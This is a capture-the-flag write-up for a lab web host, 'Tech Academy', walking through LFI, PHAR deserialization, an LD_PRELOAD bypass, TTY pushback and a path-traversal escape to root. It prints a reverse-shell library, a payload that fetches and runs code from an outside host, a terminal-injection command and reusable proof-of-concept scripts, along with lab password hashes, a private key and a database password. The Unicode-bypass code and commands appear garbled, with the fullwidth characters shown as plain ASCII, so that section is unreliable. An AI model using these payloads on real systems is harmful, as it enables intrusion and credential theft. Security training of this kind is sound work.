Tech Academy - HC Writeup

2026-01-19·11 min read·
ctfweblfipharpythonprivilege-escalation

Target Information

  • IP Address: 172.16.3.1
  • Difficulty: Hard
  • Tags: Web, LFI, PHAR Deserialization, LD_PRELOAD Bypass, Python Capabilities, TTY Pushback, Unicode Bypass, Privilege Escalation

Reconnaissance

Port Scanning

Initial enumeration revealed two open ports:

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.3.1

Results:

$code
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://techacademy.hc/

Web Application:

  • Main domain: techacademy.hc
  • Backend: Node.js Express

Web Enumeration

Subdomain Discovery

During enumeration, I discovered a subdomain running a separate PHP application:

Subdomain found: certificated.techacademy.hc


Application Mapping

Main Application (techacademy.hc)

EndpointDescription
/Landing page
/loginAuthentication
/registerUser registration
/dashboardUser dashboard
/perfilProfile management
/api/perfil/fotoProfile photo upload
/cursosCourse listing

Key JavaScript files:

  • /js/auth.js - Authentication logic
  • /js/cursos.js - Course management

Certificate Application (certificated.techacademy.hc)

EndpointDescription
/Landing page
/loginPHP authentication
/certifiedCertificate viewer (vulnerable)
/list-certificatesCertificate listing

User Registration

I created test accounts on the main application:

$code
username: qwerty@qwerty.com
password: qwerty

After authentication, the application stores user data in localStorage:

$json
{"id":9,"name":"qwerty","email":"qwerty@qwerty.com","type":"student","photo_url":null}

Discovery: Local File Inclusion (LFI)

I identified an LFI vulnerability in the certificate viewing functionality:

Endpoint: /certified?file=

Request:

$http
GET /certified?file=/etc/passwd HTTP/1.1
Host: certificated.techacademy.hc
Referer: http://certificated.techacademy.hc/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Cookie: PHPSESSID=kii4a4fabqi7c5qh91at7g87fh
Connection: close

Response:

$code
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
Shanah:x:1001:1001::/home/Shanah:/bin/bash
Arvid:x:1002:1002::/home/Arvid:/bin/bash

LFI confirmed! Discovered users: Shanah and Arvid


Exploitation: PHAR Deserialization + LD_PRELOAD Bypass

Attack Strategy

The target environment had PHP functions like exec(), system(), and shell_exec() disabled. To achieve RCE, I combined:

  1. PHAR Deserialization - To write arbitrary PHP files
  2. LD_PRELOAD Injection - To bypass disabled functions via mail()

Step 1: Create Malicious Shared Library

I created a malicious .so file that hijacks the geteuid() function, which is called by mail():

evil.c:

$c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
uid_t geteuid(void) {
    unsetenv("LD_PRELOAD");
    system("bash -c 'bash -i >& /dev/tcp/10.0.35.83/4444 0>&1'");
    return 0;
}

Compilation:

$bash
gcc -shared -fPIC -o evil.so evil.c

Step 2: Create PHAR Payload

I crafted a PHAR archive disguised as a JPEG image, containing a serialized object that writes a PHP shell:

exploit.php:

$php
<?php
namespace app\controller;
 
class Certificated {
    public $data;
    public $file;
}
 
$obj = new Certificated();
$obj->file = '/var/www/certificated/public/shell.php';
$obj->data = "<?php \$data = file_get_contents('http://10.0.35.83/evil.so');file_put_contents('/tmp/evil.so', \$data);putenv('LD_PRELOAD=/tmp/evil.so');mail('x@x.x', 'x', 'x'); ?>";
 
$phar = new \Phar('fpm_exploit.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj);
$phar->addFromString('x.txt', 'x');
$phar->stopBuffering();
 
rename('fpm_exploit.phar', 'fpm_exploit.jpg');
echo "File fpm_exploit.jpg created!\n";
?>

Generate the payload:

$bash
php --define phar.readonly=0 exploit.php

Step 3: Upload Malicious Image

I uploaded the PHAR file as a profile photo on the main application:

Request:

$http
POST /api/perfil/foto HTTP/1.1
Host: techacademy.hc
Content-Length: 613
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6OSwiZW1haWwiOiJxd2VydHlAcXdlcnR5LmNvbSIsInR5cGUiOiJzdHVkZW50IiwiaWF0IjoxNzY4NzU5OTU0LCJleHAiOjE3NjkzNjQ3NTR9.Ei3jgi5k8lPW6MPdw0fc604-oEPJVC90UyD8-dQbAnM
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynKoyFJ5IkIbiWKLz
Origin: http://techacademy.hc
Referer: http://techacademy.hc/perfil
 
------WebKitFormBoundarynKoyFJ5IkIbiWKLz
Content-Disposition: form-data; name="foto"; filename="fpm_exploit.jpg"
Content-Type: image/jpeg
 
GIF89a<?php __HALT_COMPILER(); ?>
[PHAR binary data with serialized payload]
------WebKitFormBoundarynKoyFJ5IkIbiWKLz--

Response:

$http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
 
{"message":"Photo updated successfully","user":{"id":9,"name":"qwerty","email":"qwerty@qwerty.com","type":"student","photo_url":"/uploads/profile-1768780134008-34428157.jpg"}}

File uploaded to: /uploads/profile-1768780134008-34428157.jpg


Step 4: Verify File Access via LFI

I confirmed the uploaded file is accessible through the LFI vulnerability:

Request:

$http
GET /certified?file=/var/www/main/public/uploads/profile-1768780134008-34428157.jpg HTTP/1.1
Host: certificated.techacademy.hc
Cookie: PHPSESSID=kii4a4fabqi7c5qh91at7g87fh

Response:

$http
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
 
GIF89a<?php __HALT_COMPILER(); ?>
[...serialized payload visible...]

Cross-application file access confirmed!


Step 5: Trigger PHAR Deserialization

Using the phar:// wrapper, I triggered the deserialization which writes the shell file:

Request:

$http
GET /certified?file=phar:///var/www/main/public/uploads/profile-1768777730195-39419934.jpg HTTP/1.1
Host: certificated.techacademy.hc
Cookie: PHPSESSID=kii4a4fabqi7c5qh91at7g87fh

Response:

$http
HTTP/1.1 200 OK
Content-Length: 0

Shell file written to: /var/www/certificated/public/shell.php


Step 6: Execute Reverse Shell

Start listener:

$bash
penelope -p 4444

Start HTTP server for evil.so:

$bash
sudo python3 -m http.server 80

Trigger the shell:

$http
GET /shell.php HTTP/1.1
Host: certificated.techacademy.hc

Result:

$bash
[+] Got reverse shell from ip-172-16-3-1~172.16.3.1-Linux-x86_64 - Assigned SessionID <1>

Reverse shell obtained as www-data!


Post-Exploitation

Database Credentials Discovery

I found database credentials in the application configuration:

File: /var/www/main/config/database.js

$javascript
const mysql = require('mysql2/promise');
require('dotenv').config();
 
const dbConfig = {
  host: process.env.DB_HOST || 'localhost',
  user: process.env.DB_USER || 'shanah',
  password: process.env.DB_PASSWORD || '7474ytfhcAA$$##$$',
  database: process.env.DB_NAME || 'db',
  waitForConnections: true,
  connectionLimit: 10,
  queueLimit: 0
};

Credentials found:

  • Username: shanah
  • Password: 7474ytfhcAA$$##$$

Lateral Movement: www-data to Shanah

Password reuse allowed lateral movement:

$bash
www-data@ip-172-16-3-1:~$ su Shanah
Password: 7474ytfhcAA$$##$$
Shanah@ip-172-16-3-1:~$

Lateral movement to Shanah successful!


Privilege Escalation: Shanah to Arvid (TTY Pushback)

Enumeration with LinPEAS

Running LinPEAS revealed an interesting finding - another user has an active tmux session:

$bash
$ ps aux | grep tmux
Arvid    1234  0.0  0.1  12345  6789 ?  Ss  16:52   0:00 tmux new-session -s session

Critical finding: A Python binary with special capabilities exists:

$bash
$ getcap /usr/local/bin/python3_cap
/usr/local/bin/python3_cap cap_sys_admin=ep

TTY Pushback Attack

The cap_sys_admin capability allows writing to other users' TTY devices. I exploited this to inject commands into Arvid's tmux session:

Step 1: Inject reverse shell command:

$bash
/usr/local/bin/python3_cap -c "import fcntl,os; fd=os.open('/dev/pts/0',os.O_WRONLY); [fcntl.ioctl(fd,0x5412,c) for c in 'bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\n']; os.close(fd)"

Result:

$bash
[+] Got reverse shell from ip-172-16-3-1~172.16.3.1-Linux-x86_64 - Assigned SessionID <3>

Reverse shell obtained as Arvid!


Privilege Escalation: Arvid to Root (Unicode Bypass)

Sudo Enumeration

$bash
Arvid@ip-172-16-3-1:~$ sudo -l
User Arvid may run the following commands on ip-172-16-3-1:
    (root) NOPASSWD: /opt/logviewer.sh

Script Analysis

File: /opt/logviewer.sh

$bash
#!/bin/bash
 
BASEDIR="/var/log/app"
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
 
INPUT="$1"
 
if [ -z "$INPUT" ]; then
    echo "Usage: $0 <log_file>"
    exit 1
fi
 
if [[ "$INPUT" =~ [[:space:]] ]]; then
    echo "[BLOCKED] Spaces are not allowed"
    exit 1
fi
 
if [[ "$INPUT" =~ \.\. ]]; then
    echo "[BLOCKED] Path traversal detected (..)"
    exit 1
fi
 
if [[ "$INPUT" =~ / ]] || [[ "$INPUT" =~ \\ ]]; then
    echo "[BLOCKED] Slashes are not allowed"
    exit 1
fi
 
if echo "$INPUT" | grep -qP '\x00'; then
    echo "[BLOCKED] Null byte detected"
    exit 1
fi
 
NORMALIZED_INPUT=$(echo "$INPUT" | sed 's/././g; s///\//g')
 
if [ -f "${BASEDIR}/${NORMALIZED_INPUT}" ]; then
    echo "--- Reading file: ${NORMALIZED_INPUT} ---"
    cat -- "${BASEDIR}/${NORMALIZED_INPUT}"
else
    echo "Error: File ${BASEDIR}/${NORMALIZED_INPUT} not found."
    exit 1
fi

Vulnerability identified: The script blocks ASCII dots (.) and slashes (/), but then normalizes Unicode fullwidth characters:

  • . (U+FF0E) → .
  • / (U+FF0F) → /

This allows bypassing the path traversal filter!


Exploitation: Read Sensitive Files

Read /etc/shadow:

$bash
sudo /opt/logviewer.sh ../../../etc/shadow

Output:

$code
--- Reading file: ../../../etc/shadow ---
root:*:20383:0:99999:7:::
[...]
Shanah:$y$j9T$fA2jg14BJyqy4yPlhq.aO1$PtrJd5kdBhvCC2EIWSVuGpgXv.yaOS61xEElpEoZ.02:20467:0:99999:7:::
Arvid:$y$j9T$qeg280QHeJmvEOZuo4s0o/$fdJo0exmYB.lGQfJCp1CcdxE5ykCmmE4M/bPF3q47ZD:20467:0:99999:7:::

Read root's SSH private key:

$bash
sudo /opt/logviewer.sh ../../../root/.ssh/id_rsa

Output:

$code
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEArpbvul2hyF1HWN4v0vXph9mW1KdJnQGXjxfni1aArqPPZtVAKWgy
TLPWxIsQ3krgGPcg3Rvk5TIDzENT3arHObuJDUGFjMl6yWbzP5PV1dTXZpwj+Mh38TZcqf
[...]
cN+PJ47N2jNDvNAAAAFHJvb3RAaXAtMTcyLTE2LTMtMTMyAQIDBAUG
-----END OPENSSH PRIVATE KEY-----

Root SSH key obtained!


Root Access

$bash
chmod 600 id_rsa
ssh -i id_rsa root@172.16.3.1

Result:

$bash
root@ip-172-16-3-1:~# whoami
root

ROOT OBTAINED!


Attack Chain Summary

$code
1. Subdomain Discovery (certificated.techacademy.hc)
   ↓
2. Local File Inclusion Discovery (/certified?file=)
   ↓
3. User Registration on Main App (techacademy.hc)
   ↓
4. Malicious PHAR Creation (disguised as JPEG)
   ↓
5. Profile Photo Upload (cross-app file placement)
   ↓
6. PHAR Deserialization Trigger (phar:// wrapper)
   ↓
7. PHP Shell Written + LD_PRELOAD Bypass
   ↓
8. Reverse Shell as www-data
   ↓
9. Database Credentials Discovery (shanah)
   ↓
10. Lateral Movement (www-data → Shanah)
   ↓
11. TTY Pushback Attack via Python Capabilities
   ↓
12. Lateral Movement (Shanah → Arvid)
   ↓
13. Unicode Bypass in logviewer.sh
   ↓
14. Root SSH Key Extraction
   ↓
15. Root Access via SSH

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
Local File InclusionCWE-22HighArbitrary file read
PHAR DeserializationCWE-502CriticalRemote Code Execution
Disabled Functions BypassCWE-693HighSecurity control bypass
Hardcoded CredentialsCWE-798MediumUnauthorized access
Password ReuseCWE-521MediumLateral movement
Excessive CapabilitiesCWE-250HighPrivilege escalation
TTY PushbackCWE-269HighUser impersonation
Unicode Normalization BypassCWE-176CriticalPath traversal
Exposed SSH Private KeyCWE-312CriticalRoot compromise

Mitigation Recommendations

Application Level

  1. Fix Local File Inclusion:
    • Whitelist allowed files
    • Use basename() to prevent traversal
    • Never use user input directly in file operations
$php
// Secure file access
$allowedFiles = ['certificate1.pdf', 'certificate2.pdf'];
$file = basename($_GET['file']);
 
if (!in_array($file, $allowedFiles)) {
    die('Invalid file');
}
  1. Prevent PHAR Deserialization:
    • Disable phar:// wrapper
    • Validate file contents, not just extensions
    • Use __wakeup() and __destruct() carefully
$php
// Disable PHAR wrapper
stream_wrapper_unregister('phar');
  1. Secure File Uploads:

    • Validate MIME types server-side
    • Store uploads outside web root
    • Generate random filenames
  2. Remove Hardcoded Credentials:

    • Use environment variables
    • Implement secrets management
$javascript
const dbConfig = {
  host: process.env.DB_HOST,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD,
  database: process.env.DB_NAME,
};

System Level

  1. Remove Dangerous Capabilities:
$bash
# Remove cap_sys_admin from python
setcap -r /usr/local/bin/python3_cap
  1. Fix Unicode Bypass in Scripts:
    • Normalize input BEFORE validation, not after
    • Use strict character whitelisting
$bash
# Secure validation - normalize first
NORMALIZED_INPUT=$(echo "$INPUT" | sed 's/././g; s///\//g')
 
# Then validate the normalized input
if [[ "$NORMALIZED_INPUT" =~ \.\. ]]; then
    echo "[BLOCKED] Path traversal detected"
    exit 1
fi
  1. Protect SSH Keys:
$bash
# Ensure proper permissions
chmod 600 ~/.ssh/id_rsa
chmod 700 ~/.ssh
 
# Consider using SSH certificates instead
  1. Disable LD_PRELOAD for web services:
$bash
# In systemd service file
[Service]
Environment="LD_PRELOAD="
SecureExec=true
  1. Implement AppArmor/SELinux:
    • Restrict file access for web applications
    • Prevent cross-application file access

Tools Used

  • nmap - Port scanning and service detection
  • Burp Suite - Web vulnerability analysis
  • Penelope - Reverse shell handler
  • LinPEAS - Linux privilege escalation enumeration
  • GCC - Compiling malicious shared library

Proof of Concept Scripts

PHAR Payload Generator

$php
#!/usr/bin/env php
<?php
namespace app\controller;
 
class Certificated {
    public $data;
    public $file;
}
 
$lhost = $argv[1] ?? '10.0.35.83';
$lport = $argv[2] ?? '4444';
 
$obj = new Certificated();
$obj->file = '/var/www/certificated/public/shell.php';
$obj->data = "<?php \$data = file_get_contents('http://{$lhost}/evil.so');file_put_contents('/tmp/evil.so', \$data);putenv('LD_PRELOAD=/tmp/evil.so');mail('x@x.x', 'x', 'x'); ?>";
 
$phar = new \Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj);
$phar->addFromString('x.txt', 'x');
$phar->stopBuffering();
 
rename('exploit.phar', 'exploit.jpg');
echo "[+] Payload created: exploit.jpg\n";
echo "[+] LHOST: {$lhost}\n";
echo "[+] LPORT: {$lport}\n";
?>

LD_PRELOAD Bypass Library

$c
// evil.c - Compile with: gcc -shared -fPIC -o evil.so evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
uid_t geteuid(void) {
    unsetenv("LD_PRELOAD");
    system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'");
    return 0;
}

TTY Pushback Script

$python
#!/usr/bin/env python3
import fcntl
import os
import sys
 
if len(sys.argv) < 3:
    print(f"Usage: {sys.argv[0]} <tty_device> <command>")
    sys.exit(1)
 
tty_device = sys.argv[1]
command = sys.argv[2] + '\n'
 
fd = os.open(tty_device, os.O_WRONLY)
for char in command:
    fcntl.ioctl(fd, 0x5412, char)  # TIOCSTI
os.close(fd)
 
print(f"[+] Command injected to {tty_device}")

Unicode Path Traversal Generator

$python
#!/usr/bin/env python3
import sys
 
if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <path>")
    print(f"Example: {sys.argv[0]} ../../../etc/passwd")
    sys.exit(1)
 
path = sys.argv[1]
unicode_path = path.replace('.', '.').replace('/', '/')
print(f"[+] Original: {path}")
print(f"[+] Unicode:  {unicode_path}")

Flags

$code
User Flag: /home/Shanah/user.txt or /home/Arvid/user.txt
Root Flag: /root/root.txt

References

PHAR Deserialization:

LD_PRELOAD Bypass:

TTY Pushback:

Unicode Normalization:

CWE References:


Author: cbxcvl Date: January 18, 2026 Machine: Tech Academy